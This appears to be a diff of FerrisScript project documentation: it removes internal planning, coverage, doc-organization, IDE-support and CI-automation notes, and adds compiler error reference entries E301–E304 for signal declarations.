-cd extensions/vscode
-npm test -- --coverage
-
-# View HTML report
-Start-Process coverage/lcov-report/index.html  # Windows
-```
-
----
-
-## 📝 Best Practices
-
-### Writing Tests for Coverage
-
-**DO**:
-
-- ✅ Focus on critical paths first (parser, type checker)
-- ✅ Test error handling explicitly
-- ✅ Test edge cases (empty input, max values, etc.)
-- ✅ Use property-based tests for complex logic
-- ✅ Aim for meaningful tests, not just coverage numbers
-
-**DON'T**:
-
-- ❌ Write tests just to increase coverage percentage
-- ❌ Skip error paths ("this can never happen")
-- ❌ Test implementation details
-- ❌ Ignore failing tests to keep coverage high
-
-### Coverage vs. Quality
-
-**Coverage is NOT quality!**
-
-- 100% coverage ≠ Bug-free code
-- Focus on **meaningful tests** that verify behavior
-- Use coverage to **find untested code**, not as a goal
-- Combine with code review, static analysis, fuzzing
-
-**Good Test Indicators**:
-
-- Tests fail when code is broken
-- Tests document expected behavior
-- Tests are readable and maintainable
-- Tests run quickly (< 1 second per test)

-## 💡 FAQ
-
-### Q: Why is SonarCloud showing 0% coverage?
-
-**A**: SonarCloud does NOT support Rust language. The 0% is expected and not a bug. Use Codecov for Rust coverage.
-
-### Q: Can we use one tool for both Rust and TypeScript?
-
-**A**: Not effectively. Codecov excels at Rust coverage visualization. SonarCloud excels at code quality analysis for supported languages. Using both provides the best developer experience.
-
-### Q: Why not just use SonarCloud's Generic Test Coverage format?
-
-**A**: Even with Generic format, SonarCloud cannot analyze Rust code quality (smells, bugs, security). Coverage percentage alone without quality analysis provides limited value. Codecov's Rust-specific features (file browsing, diff coverage, trends) are superior.
-
-### Q: Will we add Rust support to SonarCloud in the future?
-
-**A**: This depends on SonarSource (SonarCloud vendor) adding Rust language support. As of 2025, there are no official plans. We'll continue using Codecov for Rust, which is the industry-standard tool for Rust projects.
-
-### Q: How do I get coverage in my local environment?
-
-**A**: See "Local Coverage Commands" section above. Use `cargo tarpaulin` for Rust, generates HTML reports you can view in browser.

-# Documentation Linking Guidelines
-
-**Purpose**: Ensure general-purpose documentation remains evergreen and doesn't link to version-specific archived content.
-
----
-
-## 🎯 Core Principle
-
-**General documentation should only link to other general documentation.**
-
-Version-specific documentation can link anywhere, but general docs should remain version-agnostic to stay relevant across all versions.
-
----
-
-## 📋 Linking Rules
-
-### ✅ Appropriate Links
-
-**From General Docs → General Docs**:
-
-- `DEVELOPMENT.md` → `ARCHITECTURE.md` ✅
-- `CONTRIBUTING.md` → `DOCUMENTATION_ORGANIZATION.md` ✅
-- `FAQ.md` → `TROUBLESHOOTING.md` ✅
-
-**From Version Docs → General Docs**:
-
-- `docs/v0.0.2/v0.0.2-CHECKLIST.md` → `../CONTRIBUTING.md` ✅
-
-**From Version Docs → Version Docs**:
-
-- `docs/v0.0.2/v0.0.2-CHECKLIST.md` → `LEARNINGS.md` ✅
-
-**Meta-Documentation Exceptions**:
-
-- `DOCUMENTATION_INVENTORY.md` can reference version-specific docs (it's cataloging them) ✅
-- `VERSION_PLANNING.md` can reference version-specific docs with clear "archived/historical" labels ✅
-
-### ❌ Inappropriate Links
-
-**From General Docs → Version Docs**:
-
-- `DEVELOPMENT.md` → `v0.0.2/TEST_COVERAGE_ANALYSIS.md` ❌
-- `CONTRIBUTING.md` → `v0.0.2/PHASE_TRACKING.md` ❌
-- `README.md` → `v0.0.2/BENCHMARK_BASELINE.md` ❌
-
-**Why?**: These links become stale and misleading once the version is complete.
-
----
-
-## 🔧 How to Fix Inappropriate Links
-
-### Strategy 1: Generalize the Content
-
-If general docs need to reference version-specific information, extract the evergreen content:
-
-**Before** (DEVELOPMENT.md):
-
-```markdown
-- Baseline coverage: See [v0.0.2/TEST_COVERAGE_ANALYSIS.md](v0.0.2/TEST_COVERAGE_ANALYSIS.md)
-```
-
-**After** (DEVELOPMENT.md):
-
-```markdown
-- **Test Count**: 116+ tests (and growing)
-- **Coverage**: Actively tracked via cargo-llvm-cov locally and cargo-tarpaulin in CI
-- **Historical Baseline**: See version-specific archives for baseline snapshots
-```
-
-### Strategy 2: Remove the Link
-
-If the content isn't needed in general docs, simply remove it:
-
-**Before** (CONTRIBUTING.md):
-
-```markdown
-3. Follow the structure outlined in [Phase Tracking](docs/v0.0.2/PHASE_TRACKING.md)
-```
-
-**After** (CONTRIBUTING.md):
-
-```markdown
-3. Check [DOCUMENTATION_ORGANIZATION.md](docs/DOCUMENTATION_ORGANIZATION.md) for where new docs should live
-```
-
-### Strategy 3: Mark as Historical (for planning docs only)
-
-Only for `VERSION_PLANNING.md` and similar meta-docs:
-
-**Before**:
-
-```markdown
-📋 **Full Checklist**: See [v0.0.2/v0.0.2-CHECKLIST.md](v0.0.2/v0.0.2-CHECKLIST.md)
-```
-
-**After**:
-
-```markdown
-📋 **Historical Checklist**: [v0.0.2/v0.0.2-CHECKLIST.md](v0.0.2/v0.0.2-CHECKLIST.md) *(archived for reference)*
-```
-

-- `docs/v0.0.2/BENCHMARK_BASELINE.md` - Performance baseline
-- `docs/v0.0.2/LEARNINGS.md` - Development learnings
-
-**Linking Policy**: Can link to general docs or other version docs
-
-### Meta-Documentation (special case)
-
-**Characteristics**:
-
-- Documents the documentation itself
-- Catalogs or inventories all docs
-- Plans future documentation
-
-**Examples**:
-
-- `DOCUMENTATION_INVENTORY.md` - Catalog of all docs
-- `VERSION_PLANNING.md` - Version strategy
-- `DOCUMENTATION_ORGANIZATION.md` - Organization principles
-
-**Linking Policy**: Can reference version-specific docs with clear labeling (e.g., "archived", "historical")
-
----
-
-## ✅ Validation Checklist
-
-Before merging documentation changes, verify:
-
-- [ ] General docs don't link to version-specific docs (except meta-docs with clear labels)
-- [ ] Version-specific content is extracted to general docs if needed long-term
-- [ ] Links from version docs to general docs use relative paths that won't break
-- [ ] Meta-documentation clearly labels version-specific links as "archived" or "historical"
-
----
-
-## 🔍 How to Audit Links
-
-Use grep to find potentially problematic links:
-
-```bash
-# Find links to version-specific docs from root
-grep -r "docs/v[0-9]" *.md
-
-# Find links to version-specific docs from docs/ root
-cd docs/
-grep -r "v[0-9]\.[0-9]\.[0-9]/" *.md | grep -v "v0\.[0-9]\.[0-9]/"
-```
-
-Review each match and verify it follows the guidelines above.
-
----
-
-## 📝 Examples of Good Documentation Practices
-
-### Example 1: Coverage Information
-
-**❌ Bad** (general doc linking to version-specific):
-
-```markdown
-See [v0.0.2/TEST_COVERAGE_ANALYSIS.md](v0.0.2/TEST_COVERAGE_ANALYSIS.md) for baseline coverage.
-```
-
-**✅ Good** (general doc with extracted evergreen info):
-
-```markdown
-**Current Coverage**: 116+ tests, actively tracked via cargo-llvm-cov and cargo-tarpaulin.
-For historical baselines, see version-specific documentation archives.
-```
-
-### Example 2: Planning References
-
-**❌ Bad** (general doc treating archived content as current):
-
-```markdown
-Follow the checklist in [v0.0.2-CHECKLIST.md](v0.0.2/v0.0.2-CHECKLIST.md)
-```
-
-**✅ Good** (meta-doc with clear archived label):
-
-```markdown
-**Historical Checklist**: [v0.0.2/v0.0.2-CHECKLIST.md](v0.0.2/v0.0.2-CHECKLIST.md) *(archived for reference)*
-```
-
-### Example 3: Contribution Guidelines
-
-**❌ Bad** (general doc referencing version-specific workflow):
-
-```markdown
-Follow the structure in [Phase Tracking](docs/v0.0.2/PHASE_TRACKING.md)
-```
-
-**✅ Good** (general doc referencing general organizational doc):
-
-```markdown
-Check [DOCUMENTATION_ORGANIZATION.md](docs/DOCUMENTATION_ORGANIZATION.md) for documentation structure.
-```
-
----
-
-## 🎯 Summary
-
-**Golden Rule**: General documentation should be timeless. If it references version-specific content, either:
-
-1. Extract the evergreen information into the general doc
-2. Remove the reference if it's not needed
-3. (Meta-docs only) Label clearly as "archived" or "historical"
-
-This keeps general documentation relevant and useful across all versions of the project.

-# Documentation Organization Guide 📚
-
-**Last Updated**: October 2, 2025  
-**Purpose**: Prevent `/docs` clutter by separating user-facing docs from development artifacts
-
----
-
-## 🚨 Problem: Documentation Clutter (October 2025)
-
-As of October 2, 2025, `/docs` contains 18+ files mixing permanent docs with development artifacts, making it hard to find user-facing documentation.
-
-**Solution:** Implement `/docs/meta` directory structure (see below).
-
----
-
-## 📁 Root-Level Documentation
-
-These files should **always** be in the project root:
-
-### Core Project Files
-
-| File | Purpose | Update Frequency |
-|------|---------|------------------|
-| `README.md` | Project overview, quick start | Per major release |
-| `LICENSE` | Legal license (MIT) | Rarely |
-| `CHANGELOG.md` | Complete version history | Every release |
-| `CONTRIBUTING.md` | ✅ How to contribute (v0.0.2) | As needed |
-| `CODE_OF_CONDUCT.md` | ✅ Community guidelines (v0.0.2) | Rarely |
-
-**Why root?** These are the first files developers look for. GitHub displays them prominently.
-
----
-
-## 📂 docs/ Root (User-Facing Permanent Documentation)
-
-**New Strategy:** Only 5-6 permanent, user-facing docs in `/docs` root.
-
-### Permanent User-Facing Documentation
-
-| File | Purpose | Audience |
-|------|---------|----------|
-| `FAQ.md` | ✅ 31 Q&As about installation, usage, Godot | Users |
-| `TROUBLESHOOTING.md` | ✅ Platform-specific error resolution | Users |
-| `DEVELOPMENT.md` | Developer setup and workflow | Contributors |
-| `v0.1.0-ROADMAP.md` | Public roadmap and features | Users & Contributors |
-| `GITHUB_BADGES_GUIDE.md` | ✅ Badge setup instructions | Maintainers |
-| `ARCHITECTURE.md` | 🔜 Phase 4: Technical design | Contributors |
-
----
-
-## 📂 docs/meta/ (Development Artifacts - NEW)
-
-**Purpose:** Internal process docs, phase reports, and planning artifacts.
-
-### Directory Structure

-
-### When to Add to meta/
-
-**Add to meta/ if:**
-
-- ✅ Internal process documentation (phase tracking, completion reports)
-- ✅ Version-specific planning artifacts (checklists, workflows)
-- ✅ Development decision records (why we chose X over Y)
-- ✅ Historical reference (validation reports, inventories)
-
-**Keep in /docs root if:**
-
-- ✅ User-facing documentation (FAQ, Troubleshooting)
-- ✅ Contributor-facing documentation (DEVELOPMENT.md)
-- ✅ Setup instructions (GITHUB_BADGES_GUIDE.md)
-- ✅ Public roadmaps (v0.1.0-ROADMAP.md)
-- `DEBUGGING.md` - Debug techniques
-- `PERFORMANCE.md` - Optimization guide
-- `API_REFERENCE.md` - Generated API docs
-
-**Why docs/?** Detailed information that contributors need but not first-time visitors.
-
----
-
-## 🗄️ docs/archive/ Directory
-
-For historical, version-specific documentation:
-
-### Structure
-
-```
-docs/archive/
-├── v0.0.1/
-│   ├── RELEASE_NOTES_v0.0.1.md  ← Release-specific notes
-│   ├── v0.0.1-checklist.md       ← Phase checklist
-│   ├── PHASE6_SUMMARY.md         ← Development phases
-│   ├── PHASE6_TESTING.md
-│   ├── PHASE7_TESTING.md
-│   └── PHASE8_TESTING.md
-├── v0.0.2/                       ← Created after v0.0.2 release
-└── v0.1.0/                       ← Created after v0.1.0 release
-```
-
-### What Goes in Archive
-
-- ✅ Version-specific release notes
-- ✅ Development phase documentation
-- ✅ Testing reports for that version
-- ✅ One-time checklists that are completed
-- ❌ NOT planning docs for future versions (those stay in docs/)
-
-**Why archive?** Keeps history accessible without cluttering active workspace.
-
----
-
-## 🎨 assets/ Directory
-
-For branding and media files:
-
-```
-assets/
-├── ferrisscript-logo.png       ← Primary logo
-├── README.md                   ← Usage guidelines
-└── (future: icons, banners, etc.)
-```
-
-**Why separate?** Non-text files, used across multiple contexts (README, website, etc.)
-
----
-
-## 📝 Documentation Workflow
-
-### When Creating a New Release
-
-1. **Update CHANGELOG.md**
-
-   ```markdown
-   ## [0.0.2] - 2025-11-XX
-   ### Added
-   - Feature 1
-   ### Fixed
-   - Bug 1
-   ```
-
-2. **Update RELEASE_NOTES.md**
-   - Replace v0.0.1 content with v0.0.2
-   - Or keep both if you want multi-version in one file
-
-3. **Archive old release notes**
-
-   ```bash
-   cp RELEASE_NOTES.md docs/archive/v0.0.1/RELEASE_NOTES_v0.0.1.md
-   ```
-
-4. **Move completed checklists to archive**
-
-   ```bash
-   git mv docs/v0.0.2-CHECKLIST.md docs/archive/v0.0.2/
-   ```
-
-5. **Create next version planning docs**
-   - `docs/v0.0.3-CHECKLIST.md` (if doing another patch)
-   - Or start working on `docs/v0.1.0-ROADMAP.md`
-
----
-
-## 🔄 Documentation Lifecycle
-
-### Active Documents (Root)
-
-**Stay in root, update frequently:**
-
-- README.md
-- CHANGELOG.md
-- RELEASE_NOTES.md (latest version)
-- ARCHITECTURE.md
-- CONTRIBUTING.md
-
-### Planning Documents (docs/)
-
-**Active until feature/version complete:**
-
-- VERSION_PLANNING.md (permanent)
-- v0.X.Y-CHECKLIST.md (until that version releases)
-- v0.X.0-ROADMAP.md (until that version releases)
-
-**Lifecycle:**
-
-```
-Create → Work on → Complete → Archive → Create next
-```
-
-### Archived Documents (docs/archive/)
-
-**Historical record, rarely updated:**
-
-- Version-specific release notes

-## 🎯 Benefits of This Organization
-
-1. **Clear Separation**
-   - Root = Important, frequently accessed
-   - docs/ = Detailed, for deep dives
-   - archive/ = Historical record
-
-2. **Easy to Find**
-   - GitHub users find README, CONTRIBUTING in root
-   - Contributors find planning docs in docs/
-   - Historians find old versions in archive/
-
-3. **Scales Well**
-   - Add new versions to archive/
-   - Planning docs don't clutter root
-   - Easy to see what's active vs historical
-
-4. **Standard Practice**
-   - Follows common open source patterns
-   - Similar to React, Rust, Vue, etc.
-   - Contributors know where to look
-
----
-
-## 🚦 Next Steps for v0.0.2
-
-### Documentation to Create
-
-1. **CONTRIBUTING.md** (root) - High priority!
-2. **CODE_OF_CONDUCT.md** (root)
-3. **FAQ.md** (root or docs/)
-4. **TROUBLESHOOTING.md** (root or docs/)
-
-### Documentation to Review

-# IDE Support Enhancement Tracking
-
-**Date Created**: October 4, 2025  
-**Status**: 📝 Tracked for Future Implementation  
-**Priority**: Medium (Quality of Life)
-
----
-
-## 🎯 Enhancement Request
-
-### Goal
-
-Create VS Code extension and IDE support for `.ferris` files to provide:
-
-- Syntax highlighting
-- Code snippets
-- Language features (autocomplete, go-to-definition, hover documentation)
-- Error diagnostics in real-time
-
-### User Need
-
-While working on Godot bindings, `.ferris` files currently have no syntax highlighting or IDE support, making development less pleasant. This enhancement would significantly improve the developer experience.
-
----
-
-## 📍 Current Roadmap Status
-
-### v0.0.2 (Current - Patch Release)
-
-**Status**: Foundation mentioned but **NOT scheduled for implementation**
-
-From `v0.0.2-CHECKLIST.md` (lines 242-252):
-
-```markdown
-### Editor Support (Foundation)
-
-- [ ] **Create syntax highlighting files**
-  - [ ] TextMate grammar for .ferris
-  - [ ] VS Code extension skeleton
-  - [ ] Submit to VS Code marketplace
-
-- [ ] **Add code snippets**
-  - [ ] VS Code snippets file
-  - [ ] Common patterns (function, if, while)
-  - [ ] Godot-specific snippets (_ready,_process)
-```
-
-**Note**: These are listed as potential tasks but not actively prioritized for v0.0.2.
-
-### v0.1.0 (Minor Release - NEW FEATURES)
-
-**Status**: ✅ **PLANNED - High Priority**
-
-From `v0.1.0-ROADMAP.md` (lines 472-495):
-
-```markdown
-#### 1. Language Server Protocol (LSP)
-
-**Status**: 🔴 Not Started  
-**Priority**: High  
-**Rationale**: Makes FerrisScript a real development language
-
-**Scope**:
-
-- [ ] Basic LSP server implementation
-- [ ] Syntax checking (real-time errors)
-- [ ] Autocomplete (keywords, variables, functions)
-- [ ] Go to definition
-- [ ] Hover documentation
-- [ ] VS Code extension
-
-**Features**:
-
-- Syntax errors as you type
-- Autocomplete for variables, functions, types
-- Jump to function definition
-- Show type on hover
-
-**Tests**: LSP protocol tests
-**Estimated Effort**: 10-15 days (major feature)
-```
-
----
-
-## 🗺️ Implementation Path
-
-### Phase 1: Basic Syntax Highlighting (v0.0.2 or v0.1.0-alpha)
-
-**Estimated Effort**: 2-3 days
-
-**Deliverables**:
-
-1. **TextMate Grammar** (`ferrisscript.tmLanguage.json`)
-   - Keywords: `fn`, `let`, `mut`, `if`, `else`, `while`, `return`, etc.
-   - Types: `i32`, `f32`, `bool`, `String`, `Vector2`, `Node`, etc.
-   - Operators: `+`, `-`, `*`, `/`, `==`, `!=`, `&&`, `||`, etc.
-   - Comments: `//` single-line
-   - Strings: `"..."` with escape sequences
-
-2. **VS Code Extension (Minimal)**
-   - `package.json` with language definition
-   - Register `.ferris` file extension
-   - Associate with TextMate grammar
-   - Basic icon/logo
-
-3. **Code Snippets**
-   - `fn` - function declaration
-   - `fnready` - `fn _ready()` Godot lifecycle
-   - `fnprocess` - `fn _process(delta: f32)` Godot lifecycle
-   - `let` - let binding
-   - `if` - if statement
-   - `while` - while loop

----
-
-## 🛠️ How to Implement
-
-### Step 1: Create TextMate Grammar
-
-**File**: `editors/vscode/syntaxes/ferrisscript.tmLanguage.json`
-
-```json
-{
-  "name": "FerrisScript",
-  "scopeName": "source.ferris",
-  "patterns": [
-    { "include": "#comments" },
-    { "include": "#keywords" },
-    { "include": "#types" },
-    { "include": "#strings" },
-    { "include": "#numbers" },
-    { "include": "#operators" }
-  ],
-  "repository": {
-    "comments": {
-      "patterns": [
-        {
-          "name": "comment.line.double-slash.ferris",
-          "match": "//.*$"
-        }
-      ]
-    },
-    "keywords": {
-      "patterns": [
-        {
-          "name": "keyword.control.ferris",
-          "match": "\\b(fn|let|mut|if|else|while|return|true|false|self)\\b"
-        }
-      ]
-    },
-    "types": {
-      "patterns": [
-        {
-          "name": "storage.type.ferris",
-          "match": "\\b(i32|f32|bool|String|Vector2|Node)\\b"
-        }
-      ]
-    }
-  }
-}
-```
-
-### Step 2: Create VS Code Extension
-
-**File**: `editors/vscode/package.json`
-
-```json
-{
-  "name": "ferrisscript",
-  "displayName": "FerrisScript",
-  "description": "Language support for FerrisScript (.ferris)",
-  "version": "0.1.0",
-  "publisher": "ferrisscript",
-  "engines": {
-    "vscode": "^1.80.0"
-  },
-  "categories": ["Programming Languages"],
-  "contributes": {
-    "languages": [{
-      "id": "ferrisscript",
-      "aliases": ["FerrisScript", "ferris"],
-      "extensions": [".ferris"],
-      "configuration": "./language-configuration.json"
-    }],
-    "grammars": [{
-      "language": "ferrisscript",
-      "scopeName": "source.ferris",

-    "snippets": [{
-      "language": "ferrisscript",
-      "path": "./snippets/ferrisscript.json"
-    }]
-  }
-}
-```
-
-### Step 3: Implement LSP Server (v0.1.0)
-
-**File**: `crates/lsp/src/main.rs`
-
-```rust
-use tower_lsp::jsonrpc::Result;
-use tower_lsp::lsp_types::*;
-use tower_lsp::{Client, LanguageServer, LspService, Server};
-
-struct FerrisScriptLsp {
-    client: Client,

-## 📝 Implementation Notes
-
-### Godot Integration Context
-
-- `.ferris` files are **asset files** in Godot projects (like textures, sounds)
-- Not native Godot scripts (no "Create New Script" integration)
-- Loaded by `FerrisScriptNode` via GDExtension
-- Compiled by `ferrisscript_compiler::compile()` at runtime
-
-### Why LSP is Important
-
-1. **Developer Experience**: Syntax highlighting and autocomplete make coding pleasant
-2. **Error Prevention**: Real-time diagnostics catch errors before Godot runtime
-3. **Learning Curve**: Hover documentation helps new users understand types/functions
-4. **Professional Feel**: Makes FerrisScript feel like a "real" language
-
-### Alternatives to LSP
-
-If LSP is too complex initially, consider:
-
-1. **Basic TextMate grammar only** (1-2 days effort)
-2. **Static analysis in VS Code extension** (no separate server)
-3. **Diagnostic provider using compiler API** (5-7 days)
-
----
-
-## 🚀 Next Steps
-
-### Immediate (v0.0.2)
-
-1. ⏸️ **DEFER** - Focus on bug fixes and documentation first
-2. Track this enhancement for v0.1.0
-
-### Short-Term (v0.1.0-alpha)
-
-1. Create `editors/vscode/` directory structure
-2. Implement TextMate grammar
-3. Create minimal VS Code extension
-4. Test syntax highlighting with existing `.ferris` examples
-
-### Medium-Term (v0.1.0)
-
-1. Create `crates/lsp/` package
-2. Implement LSP server with `tower-lsp`
-3. Integrate with existing compiler API
-4. Add diagnostics, completion, hover
-5. Publish to VS Code marketplace
-
-### Long-Term (v0.2.0+)
-
-1. Advanced LSP features (refactoring, formatting)
-2. Support other IDEs (IntelliJ, Sublime, Neovim)
-3. Debugger integration (DAP)
-4. Profiler integration

+### Semantic Errors (E300-E399)
+
+Errors related to signal declarations and usage.
+
+#### E301: Signal Already Defined
+
+**Description**: A signal with the same name has already been declared in the current scope.
+
+**Common Causes**:
+
+- Declaring the same signal twice
+- Copy-pasting signal declarations
+- Name collision with existing signal
+
+**Example**:
+
+```ferris
+signal health_changed(old: i32, new: i32);
+signal health_changed(value: i32);  // Error: signal already defined
+```
+
+**Error Message**:
+
+```
+Error[E301]: Signal already defined
+  Signal 'health_changed' is already defined
+  |
+2 | signal health_changed(value: i32);
+  |        ^^^^^^^^^^^^^^ Signal already declared at line 1
+```
+
+**How to Fix**:
+
+- Remove duplicate signal declaration
+- Rename one of the signals
+- Check for existing signals with the same name
+
+**Related Codes**: E302, E303, E304
+
+---
+
+#### E302: Signal Not Defined
+
+**Description**: Attempting to emit a signal that has not been declared.
+
+**Common Causes**:
+
+- Typo in signal name
+- Signal not declared before use
+- Signal declared in different scope
+
+**Example**:
+
+```ferris
+fn take_damage() {
+    emit_signal("health_change", 100, 75);  // Typo: should be "health_changed"
+}
+```
+
+**Error Message**:
+
+```
+Error[E302]: Signal not defined
+  Signal 'health_change' is not defined
+  |
+2 |     emit_signal("health_change", 100, 75);
+  |                 ^^^^^^^^^^^^^^^ Signal not declared
+  |
+  = help: Did you mean 'health_changed'?
+```
+
+**How to Fix**:
+
+- Declare the signal before using it
+- Check signal name spelling
+- Verify signal is in scope
+
+**Related Codes**: E301, E303, E304
+
+---
+
+#### E303: Signal Parameter Count Mismatch
+
+**Description**: The number of arguments provided to `emit_signal` doesn't match the signal's declared parameter count.
+
+**Common Causes**:
+
+- Missing arguments in emit_signal call
+- Too many arguments provided
+- Incorrect signal signature
+
+**Example**:
+
+```ferris
+signal health_changed(old: i32, new: i32);
+
+fn take_damage() {
+    emit_signal("health_changed", 75);  // Missing 'old' parameter
+}
+```
+
+**Error Message**:
+
+```
+Error[E303]: Signal parameter count mismatch
+  Signal 'health_changed' expects 2 parameters, but 1 provided
+  |
+4 |     emit_signal("health_changed", 75);
+  |                 ^^^^^^^^^^^^^^^^^^^^^^ Expected 2 arguments
+```
+
+**How to Fix**:
+
+- Provide all required parameters
+- Check signal declaration
+- Verify argument count matches declaration
+
+**Related Codes**: E301, E302, E304
+
+---
+
+#### E304: Signal Parameter Type Mismatch
+
+**Description**: An argument provided to `emit_signal` doesn't match the expected parameter type.
+
+**Common Causes**:
+
+- Wrong type passed as signal parameter
+- Type confusion
+- Missing type coercion
+
+**Example**:
+
+```ferris
+signal score_updated(score: i32);
+
+fn add_score() {
+    emit_signal("score_updated", "100");  // String instead of i32
+}
+```
+
+**Error Message**:
+
+```
+Error[E304]: Signal parameter type mismatch
+  Signal 'score_updated' parameter 1 expects i32, but String provided
+  |
+4 |     emit_signal("score_updated", "100");
+  |                                  ^^^^^ Expected i32, found String
+```
+
+**How to Fix**:
+
+- Use correct parameter type
+- Check signal declaration
+- Convert value to expected type
+- Note: i32 can be implicitly converted to f32
+
+**Related Codes**: E301, E302, E303, E200

-**Status**: ✅ Completed (PR #13)  
-**Feature**: All 38 compiler errors now display:
-
-- ±2 lines of source code context
-- Visual pointer (^) at exact error location
-- Helpful hints explaining what's expected
-
-**Example Update Opportunities**:
-
-#### 1. Create Interactive Error Demonstration
-
-**File**: `examples/error_showcase.ferris` (NEW)
-
-**Purpose**: Show users how helpful FerrisScript's error messages are
-
-**Content Ideas**:
-
-```ferris
-// This example demonstrates FerrisScript's helpful error messages
-// Uncomment sections below to see different error types
-
-// --- Type Mismatch Error ---
-// fn test_types() {
-//     let x: i32 = true;  // Error shows: "Value type bool cannot be coerced to i32"
-// }
-
-// --- Undefined Variable Error ---
-// fn test_undefined() {
-//     let x = undefined_var;  // Error shows: "Variable must be declared before use"
-// }
-
-// --- If Condition Error ---
-// fn test_condition() {
-//     if 5 {  // Error shows: "Condition must evaluate to a boolean value"
-//         print("hello");
-//     }
-// }
-
-// --- Binary Operation Error ---
-// fn test_binary() {
-//     let x = 5 + true;  // Error shows: "Arithmetic operations require i32 or f32 types"
-// }
-
-// Main function that works correctly
-fn _ready() {
-    print("Uncomment error examples above to see helpful messages!");
-}
-```
-
-**Benefit**: New users can quickly learn about error message quality without triggering real compilation failures.
-
-#### 2. Add Error Recovery Examples to Documentation
-
-**File**: `examples/README.md` (UPDATE)
-
-**Addition**: Section showing before/after of error messages:
-
-```markdown
-## Error Messages
-
-FerrisScript provides helpful error messages with source context:
-
-**Example Error**:
-```ferris
-fn test() {
-    let x: i32 = true;
-}
-```
-
-**Output**:
-
-```
-Type mismatch in let binding 'x': expected i32, found bool at line 2, column 9
-
- 1 | fn test() {
- 2 |     let x: i32 = true;
-   |              ^ Value type bool cannot be coerced to i32
- 3 | }
-```
-
-The error shows:
-
-- ± lines of source context
-- Visual pointer (^) at error location
-- Helpful hint explaining the issue
-
-```
-
-#### 3. Update Example READMEs with Error Examples
-
-**Files**: `examples/hello/README.md`, `examples/move/README.md`, etc.
-
-**Addition**: "Common Mistakes" section showing:
-- What happens if you misspell a function name
-- What happens if you use the wrong type
-- How error messages help you fix it
-
-**Example for `hello/README.md`**:
-```markdown
-### Common Mistakes
-
-**Typo in function name**:
-```ferris
-fn _redy() {  // Typo: should be _ready
-    print("Hello!");
-}
-```
-
-FerrisScript will tell you: "No entry point '_ready' function found"
-
-**Wrong type for print()**:
-
-```ferris
-fn _ready() {
-    print(42);  // Error: print expects string
-}
-```
-
-Error message shows: "Function 'print' argument 0 has wrong type: expected string, found i32"
-
-```

-   - Different game entities implementing common trait
-   - Show dynamic dispatch (if supported)
-
-**Error Message Opportunities**:
-- "Type 'Foo' does not implement trait 'Bar'" with missing methods listed
-- "Trait method signature mismatch" with expected/actual shown
-
----
-
-## Maintenance Workflow
-
-### When Adding New Features
-
-1. **Check This Document**: Look for planned example updates related to the feature
-2. **Update Examples**: Create or modify examples to showcase the feature
-3. **Add Error Demonstrations**: Show helpful error messages for common mistakes
-4. **Update READMEs**: Add "Common Mistakes" sections if applicable
-5. **Test Examples**: Run examples through compiler to verify they work
-6. **Update This Document**: Mark opportunities as completed, add new opportunities if discovered
-
-### When Improving Error Messages
-
-1. **Check Examples**: See if existing examples can demonstrate the improvement
-2. **Add Error Showcase**: Consider adding to `examples/error_showcase.ferris`
-3. **Update Documentation**: Show before/after in READMEs if significant improvement
-
-### When Adding Runtime Features
-
-1. **Update Godot Examples**: Ensure `move.ferris`, `bounce.ferris` showcase new capabilities
-2. **Create Godot-Specific Examples**: Add to `godot_test/scripts/` directory
-3. **Document GDExtension Bindings**: Update example READMEs with new API surface
-
----
-
-## Example Quality Standards
-
-### All Examples Should:
-
-- ✅ Compile without errors (unless demonstrating errors)
-- ✅ Include descriptive comments explaining what's happening
-- ✅ Follow FerrisScript style guide (when established)
-- ✅ Have accompanying README.md (for complex examples)
-- ✅ Demonstrate realistic use cases (not just syntax)
-- ✅ Work in Godot (for Godot-specific examples)
-
-### Example READMEs Should Include:
-
-- **What It Does**: Brief description of functionality
-- **Key Concepts**: FerrisScript features demonstrated
-- **How to Run**: Instructions for compiling/running
-- **Expected Output**: What the user should see
-- **Common Mistakes**: Errors users might make and how to fix them

-# Future Automation Ideas - FerrisScript
-
-**Created:** October 2, 2025  
-**Status:** Tracking for future versions  
-**Purpose:** Document automation opportunities discovered during v0.0.2 work
-
----
-
-## Godot CLI Automation (v0.0.3+)
-
-### Problem Statement
-
-**Current State (v0.0.2):**
-
-- Godot integration testing is **deferred** (manual validation required)
-- Cannot programmatically validate "Using in Godot" steps
-- CI/CD cannot test Godot integration automatically
-- Documentation validation requires manual Godot installation and testing
-
-**Impact:**
-
-- Phase 1 validation had to defer Godot steps
-- Cannot guarantee Godot instructions work in CI
-- Contributors must manually test Godot integration
-
-### Proposed Solution: Godot Headless/CLI Testing
-
-**Godot 4.x supports headless mode** which could enable automated testing:
-
-```bash
-# Godot 4.x headless mode
-godot --headless --path /path/to/project --script test_script.gd
-```
-
-**Potential Approach:**
-
-1. **Download Godot in CI:**
-
-   ```yaml
-   # .github/workflows/godot-integration.yml
-   - name: Download Godot 4.2
-     run: |
-       wget https://github.com/godotengine/godot/releases/download/4.2-stable/Godot_v4.2-stable_linux.x86_64.zip
-       unzip Godot_v4.2-stable_linux.x86_64.zip
-       chmod +x Godot_v4.2-stable_linux.x86_64
-   ```
-
-2. **Automate project import:**
-
-   ```bash
-   ./Godot_v4.2-stable_linux.x86_64 --headless --path godot_test --import
-   ```
-
-3. **Run automated tests:**
-
-   ```bash
-   # Create test script that validates FerrisScript integration
-   ./Godot_v4.2-stable_linux.x86_64 --headless --path godot_test --script test_ferrisscript.gd
-   ```
-
-4. **Validate GDExtension loading:**
-   - Test that `FerrisScriptNode` is available
-   - Test that `.ferris` scripts execute
-   - Test that `_ready()` and `_process()` callbacks work
-   - Capture output and assert expected behavior
-
-### Benefits
-
-✅ **Removes "deferred" state** - All validations can be completed in Phase 1  
-✅ **CI/CD coverage** - Every PR tests Godot integration  
-✅ **Documentation accuracy** - Automated validation ensures docs stay current  
-✅ **Faster development** - Contributors can validate without manual Godot testing  
-✅ **Regression prevention** - Breaking changes to Godot integration caught immediately
-
-### Implementation Effort
-
-**Estimated Complexity:** Medium (2-3 days)
-
-**Tasks:**
-
-1. Research Godot 4.x headless mode capabilities
-2. Create automated test script (`godot_test/test_ferrisscript.gd`)
-3. Add GitHub Actions workflow (`.github/workflows/godot-integration.yml`)
-4. Download/cache Godot binary in CI
-5. Validate all "Using in Godot" steps programmatically
-6. Update documentation validation process
-
-**Dependencies:**
-
-- Godot 4.2+ headless binary (Linux/Windows/macOS)
-- Test framework for GDExtension validation
-- CI/CD runner with sufficient resources (~4GB RAM)
-
-### Target Version
-
-**Recommendation:** v0.0.3 or v0.1.0
-
-**Rationale:**
-
-- v0.0.2 is documentation-focused, this is tooling/CI work
-- Not blocking for current release
